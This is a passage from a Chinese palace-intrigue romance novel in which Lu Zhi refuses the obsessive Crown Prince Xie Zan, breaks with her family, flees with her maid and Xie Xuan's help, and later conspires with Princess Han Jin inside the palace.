谢玄单手撑在陆枝的身边:“方才那个,可否再来一次?”
陆枝手指拽紧衣角,眼神躲闪:“额……再、再来一次?”
谢玄露出小狗般委屈巴巴的眼神:“不可以吗?”
陆枝磕巴道:“也、也不是、不可以……吧。”
谢玄吻了上来。
提子的津甜仿佛一直萦绕在唇间不曾散过,如今一路如涓流般涌入心脏,暖暖的,引得心脏鼓噪。
陆枝渐渐闭上了眼睛。
马车一路行到陆府,陆博已下了车,见陆枝还没下来,对着车厢行礼道:“长姐,该下车回家了。”
陆枝回过神来,微微喘着,不自在地扭过了头,平复了呼吸后应道:“嗯,好,就来。”
她有些不敢看谢玄:“那个,我、我先走了。”
谢玄也不敢看她:“嗯,好。”
可真到陆枝要下车了,他又舍不得,一把抓住了陆枝的手腕:“枝儿,海棠花可开了?”
陆枝回头道:“我院里的海棠开得不如太子府的早,大抵还要等上一段时日,只是……”
“若你想来,随时都可以来,”她浅笑着,指了指大门:“从大门进。”
几日后,寄往怙州的信有了回音。
陆枝换上黑衣,融入夜色中,往某个方向奔去,到了城外某处破庙。
佛像、香案都积了厚厚的一层灰,破破烂烂的布条子有气无力地耷拉在横梁上垂落下来,跟着风雨声摆来摆去,阴森森的。
陆枝小心翼翼地踏过门槛,依靠着火折子的光打量着四周,没有在此露宿的旅人或乞丐。
她放了心,走到佛像前,在香案上敲了三下。
两长一短。
佛像后走出一位少年,身形颀长,肩骨端正,却是少年人独有的单薄。
他走到陆枝面前作了个揖:“师姐。”
此人正是金承,陆枝的半个师弟。
陆枝:“师弟一路奔波却还要让师弟在这种破落地方等着,是师姐不好,委屈师弟了。”
金承:“师姐哪里的话,自师姐回京,已快有两年未见,心里担心得紧,如今见师姐安然无恙,也算是放下了心。”
陆枝不再客套,单刀直入道:“此次请师弟入京是有要事托付。”
金承听陆枝的语气变得严肃,也跟着严肃起来:“师姐请说。”
陆枝拿出一事物交给金承:“劳师弟带着我的印章去将我在怙州钱庄的所有钱财换作银票带走,此事可找州长伯伯暗中帮忙,切记要暗中行进,莫要给他招惹到麻烦。”
“另,有个叫银朱的女子,找到她带她走,若她不从可用点手段,但不必伤她性命。”
金承听陆枝似乎像是在准备逃命,担忧道:“师姐在京城可是碰到了什么事?若是凶险异常,我此刻便带师姐走。”
陆枝摇头:“我暂时走不了。”京城还有些人没有安置妥当。
她道:“师弟,一切弄好后便走,别待在怙州,他日我若出了京城,便来寻你。若我走不出京城,这钱你便留着,不必再来寻我。”
金承听得心惊:“师姐!你到底要做什么!莫要去做以身犯险,你是若出事,百年之后,我要如何向师父交代!”
陆枝听得心一痛,她拍了拍金承的肩:“若我死了,我便自己去向他交代,若我活下来了,你也不用交代什么了。生死各占一半,活下来的机率还是很大的。”
“师弟,如今我也只能拜托你了。”
金承心中沉重,满脸郑重道:“定不负师姐所托。我会时刻关注京城的动向,若师姐出了京城,我会找人来接你。”
陆枝微笑:“好。对了,师弟,薇薇她、如今可还好?”
金承:“童伯父给薇薇姐定了一桩亲事,师姐放心,我去打听过了,对方是老实人家,薇薇姐嫁过去应不会受委屈。”
“那就好。”陆枝垂眸掩饰住心底的落寞:“何时成婚?”
金承:“一月以后。”
陆枝静默了片刻:“师弟,替我备一份大礼送给她吧,我看不到她出嫁,总是遗憾,人去不了,但礼总要到的。”
金承:“师姐可有什么话要我带给薇薇姐?”
陆枝沉默了许久:“想说许多,可说多了怕她伤心,要做新娘子了,该开开心心出嫁,便祝她两心永结吧。”
金承:“只这一句?”
陆枝:“嗯,只这一句。”
两人说完便陷入了沉默,似乎谁都不想开口道离别。
风从庙里四面八方的破洞里钻进来,把布条吹吹窸窣作响,佛像在微弱的火光下慈祥地微笑着,安静又诡异。
终是陆枝先出了声:“师弟,走吧。”
金承缓缓地抱了个拳:“师姐,保重。”
他转身离开,走到门口又转过头来:“师姐,一定要活着回来。”
陆枝笑笑:“嗯。”她会努力。
谢瓒终是一癫到底,把府里的海棠都砍了。
一时间,太子殿下为博美人欢心不惜砍了满院海棠的消息传遍了京城,处处都能听上一两句八卦。
“想不到太子殿下竟是个情种。”
“我若是那陆大小姐,此刻定然开心死了。”
“谁说不是呢,哎,不过你们说,那凰国公主有意于太子殿下,还赖在咱们这不走,如今怕是十分尴尬了,我猜过不了多久啊,她就要灰溜溜地回凰国去了。”
“可不是嘛,当初当众表白太子殿下,一直黏在殿下身边不肯走,如今殿下心另有所属,要是我啊,肯定是没脸再待下去了。”
“呸,就这么一个小国公主竟还妄想做咱们大栾的太子妃,活该!”
人听到他人求而不得时,似乎总能“贴心”地进行“换位思考”,总要说上几句“要是我,定……”“若换作是我定然会/不会……”诸如此类来彰显自己智慧的话,随即再啧啧喟叹几句,最后得出他人不如自己,走到如今这样的地步纯属自己活该的结论。
可当初说韩锦和谢瓒般配的也是他们,他们大抵是真的健忘吧。
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陆枝乔装随便找了家茶馆坐在角落里喝茶,便听得这样的对话。
在他们看来,太子地位尊贵,是块宝;陆枝被太子看上,是福气;韩锦想做太子妃,是痴心妄想,是活该。
陆枝安安静静地喝完茶,放下银钱离开了茶馆。
啧,她明明说的是这树是谢瓒种的,他想怎么折腾都行,这下好了,变成为了讨她欢心而砍的了,真的是会给自己脸上贴深情。
明明砍就砍了,太子想要做什么谁敢打听?偏偏这事就传得满城皆知,要说不是人故意为之的,她都不信!
陆枝登门拜访谢瓒。
谢瓒对陆枝的主动到访还是颇感意外的:“陆小姐今日怎想起来找我了?”
陆枝:“……”你说呢。
“太子殿下,陆枝年少轻狂不知天高地厚,引先贤之言未做注解,不曾想竟引得殿下高看,如今特来向殿下解释,‘治世不一道,便国不法古’乃先人智慧,非陆枝本人之才,惹殿下错爱,陆枝汗颜。”
谢瓒给陆枝沏了杯茶,坐下笑着说道:“自大朝国到如今的大栾国,将近千年。谢瓒虽不才,但也算读了不少千年里的圣人书,为何我从未看到过陆小姐所说的先贤之言?”
因为不是一个时空啊。
陆枝:“千年历史,典籍浩如烟海,殿下自是不会全都一一读尽。”
谢瓒:“可如此出世的一句话,总该是会被后人称道才是,为何只言片语也不曾流传下来?”
陆枝解释不下去了:“陆枝只是位普通女子,自然是比不过各世家培养出来的高门贵女,京城贵女、他国公主,自是才能胜过陆枝千百倍,也是殿下最该考虑的人选。”
谢瓒:“陆小姐这是在拒绝我了?”
陆枝目色坚定:“是。”
谢瓒的脸上仍挂着笑意,只是眉目间渐渐爬上阴郁:“陆小姐还是第一个拒绝我的女子。”
陆枝:“是陆枝不识好歹,还望殿下恕罪。”
“恕罪?”他轻声反问,看向陆枝,笑容渐渐冷而疯狂:“我坐享东宫,将来更是这大栾的主人,我从来没有想得到却得不到的东西。”
他忽得掐住陆枝的脖子,露出残忍的笑容:“天下都是我的,你也会是我的。”
陆枝抓住谢瓒的手腕挣扎,喉咙被掐得紧,破了音:“疯子,松手!”
“疯子?”谢瓒眼神虽癫狂,却没想真的掐死陆枝,手上控制着力道,让陆枝挣扎不掉又十分痛苦:“便是疯子又如何,‘治世不一道,便国不法古’这话说得多好啊。”
他抬起另一只手轻轻地抚摸起陆枝的脸颊:“遵循旧制守着国土做个安稳皇帝有什么意思,到死不过是被史书一笔带过的存在,我不妨大胆一些,吞并诸国创立新制,做这天下唯一的共主!”
“我要开这万世之先!让所有人不能忽视我的功绩,让所有人都匍匐在我脚下俯首臣称!”
他的语速由缓及快,到最后越来越激昂,丝毫不掩饰他的野心。
陆枝呼吸困难,面容涨得通红,用手指去抓谢瓒的皮肉,抓出了好几道深浅不一的血痕。
谢瓒仿若不知痛,用另一只手钳制住陆枝抓他手腕的双手:“可这一切我需要有人助我一起完成,那个人就是你,陆枝。”
他的声音突然变得轻缓,带着诱哄意味:“嫁给我吧,陆枝,我是比谢玄更好的选择。”
谢玄……谢玄……
陆枝忽然想起自己的腿还能动,她向谢瓒掐着自己脖子的手借力,一脚朝谢瓒的裆下踢去。
19.逼婚
鸡飞蛋打是种怎样的体验呢?
陆枝是没法沉浸式体验的,她看着谢瓒蜷缩成一团,应该是挺疼的,但不能再感同身受得更多。
这个疯子,差点掐死她!
她趁着谢瓒叫疼跑出了太子府。
一回到陆府,陆枝就去管家那里拿了若娘的卖身契还给若娘:“若娘,你自由了。”
她塞给若娘一把银票:“现在便带着孟童走,有多远走多远。这些钱拿着,寻个没人认识你们的地方好好生活。”
若娘拿着卖身契一脸懵然:“小姐,这……发生了何事?好好的为何突然要我们离开?”
她看见了陆枝脖子上鲜红的指印,惊呼道:“小姐!您这是出什么事了?是谁伤了您?”
陆枝摆了摆手,双手搭在若娘的肩上:“若娘,你还信不信我?”
若娘快要哭出来了:“信,若娘信。”
陆枝:“那就快走,现在,立刻,马上!”
若娘:“小姐,就算要走,也让若娘给您上个药吧。”
陆枝大喊,声音却哑了:“来不及了,快走!”
“快!”
她的声音因为大喊而变得细哑,听着很是吃力,若娘怕她伤着嗓子,只得匆忙地跑去收拾行李。
谢玄急匆匆地冲进陆枝的院子,看见陆枝脖子上和手腕上都是红了一大片,指甲间还有血,忍着盛怒小心翼翼地把陆枝抱回了房。
陆枝抓着谢玄的衣袖,用喑哑的声音祈求道:“谢玄,帮帮我,把若娘他们平安送走。”
谢玄听见陆枝的声音心里像是被猫千抓百挠了一般,疼得厉害,他手指沾了药膏往陆枝的脖子上抹:“我让沐武去了,别担心,先好好上药。”
陆枝听完安了心,乖乖配合。
谢玄动作很轻,仔细看还有些颤抖,竟带着声音也在抖了:“他竟把你伤这么重。”
陆枝拍了拍谢玄的手,想宽慰他:“没——”
“事”字还未出口,陆枝便彻底失了声,她张开嘴尝试大喊,却一点声音都发不出来。
不会从此以后是个哑巴了吧。
陆枝拧眉,条件反射地想要捏一捏自己的脖子,被谢玄一把抓住,他轻声道:“我来看看,你这般没轻没重会再伤到自己。”
谢玄两指并拢,轻轻地靠在陆枝的脖颈边一下一下地探着,紧皱的眉稍稍舒缓开了一些:“只是暂时失声,好好修养便会恢复。”
陆枝点了点头,在谢玄手心里写下“别担心”三个字。
她还想写点什么,发现自己指缝里的血迹还没有清理,于是起身去拿了纸笔。
陆枝写道:“谢瓒就是个疯子,我今日伤了他,怕是不会善了了,陆文德该死,可陆家其他人无罪,我不能连累了他们,明日我便行饯祖之礼,同陆家断绝关系,舍弃这嫡女身份。”
她写得很快,手腕有些发疼,写完她竟不知道再该写些什么了,她舍弃嫡女身份逃出京城,谢玄呢?要怎么办?如果她还继续留在京城,谢玄要是执意保她又该怎么办?
京城传遍谢瓒钟意陆枝,今日陆枝去找谢瓒原本只想和谢瓒解释清楚,能和平地解决是最好的,毕竟真到走投无路了才会走最坏的打算那条路。
她本以为谢瓒虽然心机深沉,但话总能同人好好说的,不曾想他竟是个自尊心强过头的偏执疯子。
陆枝的笔悬停在了空中,手腕又疼又酸。
谢玄抓住她的小手手臂,把笔拿下:“枝儿,多想想自己。我了解谢瓒,今日你带伤跑出太子府被许多人瞧见了,他此刻当要寻法子解释通此事,如果不然,父皇那边便过不去。”
“你带着伤是事实,他不会动陆府。”
陆枝稍稍放了点心,提笔写道:“那将若娘和小童送走吧,他们在我身边我不放心。”
谢玄:“嗯,此事安心。”
陆枝往谢玄身边挪了挪,靠在他的肩头,好累,她需要充电。
窗外的天光不算明媚,照进来也没有什么柔和的光晕,云朵缓缓聚集,看着是要下雨。
陆枝牵着谢玄的手,一时间是真不知道该怎么办了。
谢玄:“枝儿,你知道磨刀石吗?”
陆枝点了点头。
谢玄继续道:“我便是谢瓒的磨刀石,自小父皇便有意无意地让我同谢瓒争,先是一个梨、一块糖,后渐渐是见解、学识,直到如今的太子之位。”
“起先我以为是父皇对我的期望,我拼命想达成他的期许,去争、去抢,可无论我怎么做,最后都是争不过谢瓒,后来我渐渐便明白了,父皇不过是在用我磨谢瓒,在他眼里,谢瓒才是最适合的继承人,如今父皇宠爱母妃而冷漠皇后也是他磨谢瓒的一环,可我没得选,只能继续去争。”
“只有继续争下去,才会有一条活路。”
陆枝听得心酸,皇家无情,君心难测,而谢玄幼时不过是一个孩子,一个梨一块糖,或许他没那么想要,可大人鼓励他去争,他争了却没有得到,该有多失望,而这样的失望贯穿了他的整个童年与少年。
她亲了亲谢玄的脸颊,用口型道:“我与静姨是你不争便有的,远比争来的恒久。”
谢玄转过头亲了亲陆枝的额头:“嗯,我绝不会让他把你从我身边夺走。”
陆枝靠着靠着就睡着了过去,谢玄把她轻轻地放在床上盖好被子,打了一盆水来将她指甲缝的血迹都清理了干净,又坐着守了她一会儿才离开。
走出陆枝的院子,他脸上的温和之色全然不见,浓重的霜色爬满他的眉目间。
陆枝再醒来时,若娘守在床头,她大惊却发不出声,由于不会手语,只能胡乱比划,但大致能够看明白,意思是:“若娘,你怎么回来了?我不是让你走吗?”
若娘:“小姐,孟童让二殿下送走了,他会很安全。”
陆枝指了指若娘:“那你呢?”
若娘:“小姐,您总说自己的人生该自己选,如今我选了,我要陪着小姐,哪怕千难万险,哪怕、哪怕会死……我都要陪在小姐身边。孟童有二殿下派人照拂,我很安心,小姐,就让我待在您身边吧。”
陆枝眼睛里蓄起了泪,她抱住若娘,在她耳旁说了句话,看口型应是:“谢谢你,若娘。”
陆文德次日带人围了陆枝的院子:“小姐受歹人所伤,你等守在院子外,日夜保护小姐的安全,若小姐再受伤,本相拿你们是问。”
众护卫齐声道:“是。”
陆枝站在二楼静静地看
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着陆文德,心想道:“终究还是做了谢瓒身边的一条狗。”
她取下挂在墙上的弓,搭上箭,朝陆文德脚下射了一箭。
陆文德顿时停住脚步,冷汗冒了出来,他缓缓转过身看向陆枝,只见陆枝已放下了弓箭,朝他露出一个人畜无害的温和笑容,他僵硬地转回身,试探性地往前走了一步。
陆枝没有射箭。
两步。
还是没有。
他松了口气,逃命似的跑出了陆枝的院子。
谢瓒寻了个好由头,将自己摘了出来:当日韩锦上太子府找他,恰巧陆枝也来找他,韩锦由于被京城传言所扰,心中难受,对陆枝大打出手,而他为了拉架,不幸被两人抓伤。
总得来说,掐陆枝是韩锦干的,不是他。
陆枝听到这个消息的时候,秀眉一挑,当日韩锦也在?
不过在不在的也不重要了,已经被谢瓒描述成了这样了,韩锦会替谢瓒背这个锅吗?
很快,陆枝就有了答案。
听闻皇帝因此不悦,打算将韩锦遣送回凰国,可边境北方蛮族突然有了动作。
凰国和大栾边境接壤,自然和蛮族也靠得很近。
近年来,凰国生出别的心思,频繁接触北方蛮族的高层,很难不让人生出一些猜想。
皇帝把韩锦留在大栾也有警告凰国的意思,可凰国终究是小国,他没怎么放在眼里,如今韩锦犯错他想把人送走,蛮族竟有来犯边境。
看来这个二公主在凰国也并非全然没有任何盘算与根基。
他终究没把韩锦送走,只口头批评了一番,韩锦也认下了这错,自罚禁足一月。
陆枝捏着茶杯消化这些信息。
韩锦这次虽说是天降大锅,但对她来说也是个极好的机会,既卖了谢瓒一个人情,又顾全了皇帝的体面。
那北方蛮族对大栾来说就像一只打不死的小强,时不时地要在边境上溜上一圈恶心一遭。
可这小强也渐渐强大起来了。
要不太平了,陆枝想。
谢瓒在解决完此事后上门了,他看见陆枝脖子上的红指印还剩一点没有完全消下去,听说她发不出声音,伸出手想要抚摸一下。
陆枝退后一步别过了头,抗拒之意很明显。
谢玄的手停在半空,最终收了回去:“当日是我冲动,你怪我也是应该,我已让太医院调制良药,这几日便会送来,会有利于嗓子恢复。”
陆枝冷冷地看着他,意思是:“她不需要。”
她瞥见谢瓒站得笔直,手腕上露出了绷带一角,心道:“当日下手下脚还是轻了。”
“但打了总比没打好,也不算太吃亏。”她如此安慰自己道。
陆枝倒扣茶杯,意在送客。
谢瓒自动忽略掉陆枝的冷漠,道:“我再度向父皇求了赐婚,可父皇还未答应,不过没关系,他迟早会答应的。”
“陆枝,你会是我名正言顺的太子妃。”
陆枝神色一变。
迟早会答应?什么意思?听谢玄说,皇帝之前就没答应谢瓒的请求,这次怎么会听他的,除非……
谢瓒有了能掌控皇帝的能力。
陆枝暗暗握拳,要出事了。
20.前奏
所谓饯祖之礼,乃是和家族断绝关系之人在家中主事者的见证下,朝着各祖宗牌位磕三个响头,秉明祖宗从此不做这个家族的人了,并由该主事者在族谱上将自己的名字划去。
日后荣辱祸患加身,皆与家族无关。
陆文德让陈清雅掌管府中大小事务,她便有资格做这个见证人。
陆枝在一众牌位前磕下三个响头,秉明:“今陆枝舍弃陆府嫡女身份,脱离陆家,从此祸患与荣辱,皆不与家族沾染。”
陈清雅请出族谱,翻到陆枝的那一页,提笔蘸墨落于纸上,自上而下,划去了陆枝的名字。
陆枝看着那浓厚的一笔落下,觉得也划去了压在身上的某些东西,轻松极了。
自此她不再是陆家嫡女,按照宗法继承,陈清雅的两个儿子便是嫡子。
陈清雅面上没什么情绪,可眼底的欣喜还是漏了出来。
陆枝看见了,也没表现出什么。
她正要带着若娘离开陆府,方秋菱听闻消息赶来挽留,她轻松地笑道:“方姨,名字已然划去,一切已成定局。”
“这陆府非善地,你带着小博也早做打算吧。”
陆枝将自己的东西能拿走的拿走,拿不走的都一把火烧了,正要走出府门被陆文德的一群护卫拦住,她笑道:“陆相让你们保护陆家小姐,如今我已经不是了,那你们也不必守着我了。”
一群护卫面面相觑,犹疑地让开了路。
陆枝坐着马车在京城里打转,净挑些七拐八拐的路走,终于在一个小巷口,和若娘跳车躲了起来,往另一个方向跑去。
身后跟着的人跟丢了。
陆枝找了一家偏僻的院子,以低廉的价格租了下来,若娘撸起袖子正打算进行一番大清扫,她赶紧制止道:“哎若娘,不必费神,简单弄弄就成,咱们在这待不长。”
若娘不忍心:“小姐……”
陆枝调侃道:“可是后悔了?日后这样东躲西藏可是常态,饱暖都成问题,可比不过在陆府安稳。”
若娘愤愤:“若娘才不后悔,只要能跟着小姐,去哪都成。那陆府才不安稳,这些时日都将小姐逼成什么样了,如今离开了才是好的!”
“小姐莫要担心,若娘有手有脚,可做工养活小姐。”
陆枝拍了拍若娘的肩:“傻若娘,我怎会让你做工来养活我,放心吧,你家小姐钱还是有的,咱俩都饿不死冻不着。”
她撸起袖子:“待会儿咱俩一起收拾,这会儿先做别的。”
若娘点头:“小姐要做什么?”
陆枝:“毒和药,保命用得着。若娘,将包袱里的笼碾拿来,还有那一大包药材。”
若娘应了是,赶忙去拿。
陆枝制药,若娘打下手,两人自午后忙到夜色升起,终是完成。
看着一桌满满当当的小药瓶,陆枝顿时安心了不少。
谢瓒约了某位大臣见面,待事情谈完后,谢瓒送客,流光来报:“殿下,陆小姐行饯祖之礼离开了陆府,我们的人跟丢了,已派人去城门查过,人还在京城。”
谢瓒脸上挂着的笑意瞬间消失:“派人盯着策王府,她很有可能会去找谢玄,另外去查那些客栈或外租的院子,她总要一个落脚的地方。”
流光:“是。”
谢玄这边也听到了消息,他对沐武道:“她不来寻我,此刻定然在哪家客栈或租住的院子里落脚,谢瓒此刻应是已经派人在寻她,沐武,你多带些人,务必赶在谢瓒之前将她寻到。”
陆枝刚吃完晚饭想坐着瘫一会儿,就听见院外巷子里传来了刻意压低的脚步声。
她拿起剑对着若娘比了个嘘,悄声道:“拿上重要的东西赶紧走,带不走的便算了。”
房东的嗓门挺大:“哎哟,官爷,今日我这小院啊是来了两位姑娘,其中一位还是小姐模样的女子,她啊只租一月,钱给得痛快,我也便答应了,这会儿估计正在院子里呢,我这就给您开门叫人。”
流光冲房东抬了抬下巴,示意他去做。
房东点头哈腰道:“哎,好好。”
门一推开,他喊道:“两位姑娘,官爷找。”
无人应答。
房东:“可能是睡了,我再喊喊。两位姑娘可是睡下了?官爷今日查身份,两位姑娘快出来见见。”
还是无人应声。
流光察觉出不对劲,冲进院子,一脚踢开房门,只见窗户开着,人早跑了,桌上还留着一些没带走的衣物。
他沉声下令:“人应该还没跑远,赶紧去追。”
房东被这架势吓得大惊失色,以为两人是犯了什么事,怕被牵连,忙求饶道:“官爷,这、这我也不知这二位姑娘犯了事,瞧着是挺乖巧的姑娘,我只是租了院子给她们,可一点没参与她们做过的事啊,求官爷千万不要抓我。”
他说着说着蹲了下来,抱住流光的大腿大哭。
流光嫌恶地看了他一眼,一脚把人踢开,快步离开了院子。
房东见没人了,立刻收了哭泣,用衣袖抹掉眼泪探头探脑地走出院子,拐进一个小巷口,低声喊道:“少侠,少侠,可还在啊?”
沐武从阴影处走了出来。
房东:“少侠,我给两位姑娘提了个醒,她们已经跑了,那位官爷也被我拖了一会儿,后面便靠两位姑娘自己了。”
沐武点点头:“你给策王府报信,多谢。”
房东连忙摆手:“少侠言重,当初小人家失火,二殿下恰巧路过救了小人一家,还让我家小儿留在府内教他读书,如此大恩大德,小人没齿难忘,得知有人在寻陆家小姐,小人也就留了个心眼。”
沐武抱拳道:“我还有要事在身,先行告辞。”
房东:“明白明白,若我有两位姑娘的行踪,我再上王府报信。”
陆枝不是很认得这片区域的路,七拐八拐的,也不知道拐到哪里去了。
流光正从前面的巷子走来,陆枝在对面的巷子,两条巷子的口虽是错开的,但只要她走出巷子口便会和流光面对面碰个正着。
陆枝不知晓,只是继续往前走,和流光的距离越来越近。
两人很快都走到了巷口,陆枝一只脚踏了出去被人一把捂住嘴拽了回来,拽进了怀里。
若娘本想大叫,看见是谢玄后立马捂住了自己的
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嘴。
陆枝大惊挣扎,正想肘击身后男子的要害之处,熟悉的声音在耳畔低低响起:“枝儿,是我。”
谢玄。
陆枝放松了身体,低声道:“你怎么会来?而且你怎么找到我的?”
流光听到陆枝所在的巷子有动静,提腿往这边走来。
“走。”谢瓒眼神一凛,拉着陆枝往另一方向走去,若娘抱紧了包袱紧紧跟上。
看谢玄带着自己往策王府的方向走,陆枝拉住谢玄道:“看着架势,谢瓒是铁了心要抓我,这会儿王府外肯定布满了谢瓒的眼线,你不该带我回去。”
谢玄牵紧陆枝的手:“我知道,别担心,我们不去策王府,我曾用沐武的名义置办了一座私宅,无人知晓,正好是这个方向,但还要远些。”
他仿佛想起什么似的解释道:“这宅院是用来练武的,平常里面不住人。”
陆枝眨了眨眼睛,思索了一会儿才明白谢玄这是在担心她误会他在私宅里养了人。
她抓了抓谢玄的手掌:“放心,我没多想。”
三人全程步行走到了谢玄的私宅,沐武看到谢玄留下的记号,解决掉跟上来的几个尾巴,调转了个方向,把人引去了别处。
陆枝拉着谢玄坐下:“谢玄,你听我说,谢瓒前些日子来找过我,说陛下迟早会答应赐婚。陛下这么久都没有松口,为何会突然改了主意,我猜想他是在预谋些什么了。”
谢玄:“我也隐隐有了感觉,近来他私下见了许多在朝多年及新晋的朝臣,应是等不及了。”
陆枝:“陛下当今正值壮年,哪会突然禅位,他这是打算逼宫?”
谢玄神色凝重:“怕是如此,母妃从宫里传来消息,父皇身体欠佳,头疼脑热,体虚易乏,以前不曾有过。”
陆枝作出推测:“突然有的……那便是吃的用的上有人动了手脚,陛下的吃穿用度都有专人伺候,谢瓒怕是连陛下的身边人都买通了。”
她想起什么问道:“静姨可在陛下身旁伺候?”
谢玄:“一直守着。”
陆枝大惊起身:“遭了,静姨有危险!谢玄,快想办法将静姨接出宫。”
静妃一直守在皇帝身旁伺候,到时候就会是最好的替罪羊。
谢玄拉住陆枝,摇了摇头,整个人散发出颓丧的无奈:“母妃、她都明白,她已决心留在父皇身边,这是她的选择。”
陆枝忽然觉得很是无力。
她想救爹娘却是来不及,如今想救静妃,尚来得及,人却有自己的选择,强求不得。
陆枝俯身牵住谢玄的手。
谢玄:“枝儿,你可知太一神?”
陆枝摇了摇头。
谢玄:“五福太一,天之鬼神也。”【注1】
“以往大栾历朝历代的皇帝每年五月都会去往京城东面的天星山太一宫祭祀太一神,祈求神灵庇佑,而后国力强盛,此种祭祀便渐渐被遗忘,演变成只有当国家或宫中出了什么事,皇帝才会重启祭祀,如今父皇身体有恙,他打算前往天星山祭祀太一神。”
陆枝大惊:“那岂不是——”
在给谢瓒机会?
21.蓄谋
皇宫是一个巨大的回字,一堵方正的外墙圈住大大小小百来个宫和殿,宫道连贯却曲折,一不小心就容易迷路。
陆枝几乎全神贯注地记着每一条曲折的宫道,每路过一处,她就停下来指一指。
随行的宫女答道:“回皇后娘娘,这是尚衣局,是给宫中贵人们做衣裳的地方。”
又走了一段,陆枝指了指。
宫女答:“这是太和宫。”
“旒华殿。”
“……”
陆枝登上一片城墙,下面是一个四面围起来的校场,出口只有两个,在相对的两面墙上。
她走过这片城墙,往栖和殿的方向走去。
刚要推门入殿,流光抬手挡在她面前:“此处皇后娘娘莫进。”
陆枝狐疑地打量了他片刻,转身要走,实则虚晃一招,身形灵活地绕过他跑进了殿。
满眼白色闯入视线,陆枝僵在原地。
母妃?
陆枝艰难地挪动脚步往前走,流光要挡她,她二话不说给了他一巴掌。
她穿过廊亭来到正厅,里面正摆着一口棺材,只有一两个宫人守在棺材前哭丧。
光景甚是凄凉。
全身血液仿佛顷刻间凝结,陆枝猛然跪在地上。
何时……何时出的事……
新帝登基,先帝嫔妃变为太妃,就算……就算谢瓒不愿厚待,也不该杀了她!
若是……若是那晚出的事,如今距离已过去多少时日了,竟还不曾下葬!
陆枝失去力气,双手撑在地上,短促地吐出一口气,眼泪一颗一颗地砸在地上。
娘亲走时,她只觉得心脏被人剜了,痛得想死。
谢玄他、又该有多伤心。
宫女想要扶起陆枝,被她一把推开。
她跪在棺材前咳了三个响头。
陆枝缓缓站了起来,走向静妃的书房,她曾说她喜欢弓箭,静妃特意为她打了一套放在书房。
宫中禁兵器,她一直没有机会拿得出宫,每回来这,就是看一看、摸一摸、小试一会儿。
陆枝取下挂在墙上的弓,搭上箭,瞄准门口。
宫女跟了上来,看见冷箭对着自己吓了一跳,忙跪下喊:“娘娘饶命。”
箭头未曾挪动,对准的是宫女身后的流光。
箭矢只有三支,她想了想,还是决定不要浪费,于是放下了搭好的弓箭,背上弓拿上箭,走人。
流光拦在她的面前:“此物危险,还请娘娘交于微臣。”
陆枝冷冷看着他,拿起箭矢,对准自己的心脏,用口型说道:“如果我说不呢?”
流光自然不可能逼死陆枝,让开了路,只是跟在陆枝身后将她盯得更紧了。
陆枝不是没想过大杀一场,但这弓箭能发挥的用处太小,她人单力薄的,仅凭三支箭不足以从这宫中逃出去。
况且,她还不知道谢玄在哪。
返回时,陆枝碰到了韩锦。
她有些意外,看向流光用眼神询问。
流光:“听闻公主特来恭贺陛下,并向陛下辞行,大婚过后,她便会返回凰国。”
辞行?韩锦放弃了?
陆枝感觉韩锦不似这般容易放弃的人。
更何况,韩锦这么骄傲,在大栾待了这么久,一无所获地回去,她受得了凰国那些风言风语么?
陆枝看向韩锦,韩锦也在看她,面上抱有敌意,眼神里却有着说不清道不明的意味。
陆枝心头一动。
辞行完出宫根本不走这条道!
韩锦这是……故意来遇她的?
为了证实心中猜想,陆枝跑过去挡住了韩锦的去路,韩锦语气不善道:“陆姑娘,请自重。”
陆枝不管不顾拿起韩锦的手,在她掌心写道:“我有话同你说。”
韩锦手指微微一蜷,眼睛看着陆枝,嘴上却说:“我与陆姑娘没有什么可说的。”
陆枝心中一喜,韩锦就是故意来找她的,如今谢瓒是天子,韩锦想做皇后,她何不成人之美?
她拉起韩锦就要走,流光道:“皇后娘娘,这似乎不妥。”
陆枝指了指不远处的亭子,示意她们就在那说。
她在宫女掌心写下“纸笔”二字,拉着韩锦坐了过去。
宫女送来纸笔,陆枝两人屏退,流光想要靠近一些,她朝流光脚下射了一箭。
流光想再往前,陆枝搭上了第二箭,他只得止步。
韩锦道:“陆姑娘因何受的伤?怎不能出声了?”
陆枝摆摆手,示意不重要,她指了指桌上的纸笔,坐下写道:“冒昧一问,公主可甘心?”
韩锦反问:“甘心什么?”
陆枝不答,静静看着她。
韩锦被看得有些恼怒:“你这是在羞辱我不成?”
陆枝摇了摇头,写道:“公主此番来找我,可是打算帮我?”
韩锦冷笑:“陆姑娘未免自作多情,我来宫中只是向陛下辞行。”
陆枝写道:“可出宫不走这条路。”
韩锦:“……我迷路了还不行么?”
陆枝静静盯着她。
韩锦败下阵来:“宫中守卫森严,我难以靠近你所在的宫殿。”
陆枝:“有办法,只是要委屈公主。”
韩锦:“说来——写来看看。”
陆枝:“扮作宫女,大典当日前来伺候的宫女必然众多,公主可混入其中。”
韩锦:“你是要我同你换?”
陆枝挑眉:“难不成公主不是这么打算的?”
韩锦:“……”确实不是,她只想着先把陆枝弄走,或者……弄死。
陆枝看出了韩锦眼底的杀意,写道:“我死了似乎对公主没有好处,宫中不好藏尸,今日我与公主在此交谈,有目共睹,我若死了,谢瓒第一个就会怀疑公主。”
韩锦面色一凛:“你是故意同我交谈的?”
陆枝:“我光明正大地找公主总好过公主偷偷摸摸地派人接近我吧。”万一还失败了呢?
韩锦哼了一声:“你是何计划?”
陆枝:“公主只需成功混入进来便可,其余安排一切有我。”全盘告诉韩锦太冒险了,万一韩锦背刺她呢?
韩锦:“口说无凭,我如何能信你?”
陆枝:“那就看公主是要做一国皇后还是回凰国继续做个不受重视的公主了。”
韩锦被“不受重视”四个字刺痛了眼,咬牙道:“好,我会尽快安排。”
陆枝将写过的纸借着手臂遮挡拿下塞进衣袖里,又写了几张纸恭恭敬敬地呈给了韩锦。
上头写了一些可补气血的药材。
她将剩下的纸张塞进怀里,她就不信流光敢搜她的身。
韩锦讶异于陆枝的谨慎,配合地接过药方离开。
流光拦住她:“敢问公主,皇后娘娘给公主写了什么?”
韩锦睨了他一眼:“你敢拦我?”
流光垂首:“不敢,但陛下吩咐皇后娘娘一言一行需得向他禀报,还是公主体恤。”
韩锦一把将一沓药方甩进流光手里:“看看看,给本公主好好看看!若看不出个什么名堂,本公主平白受你的气,可是不会轻易罢休。”
流光一张一张看了过去,都是些药材,他不懂,问道:“公主,这些药材是?”
韩锦:“陆姑娘看我气色欠佳,给我开了些补身子的药。怎么,流将军也想要熬来喝喝?”
流光将药方退还:“公主说笑,多谢公主。”
韩锦接过,问道:“将军可看出什么来了?”
流光:“未曾。”
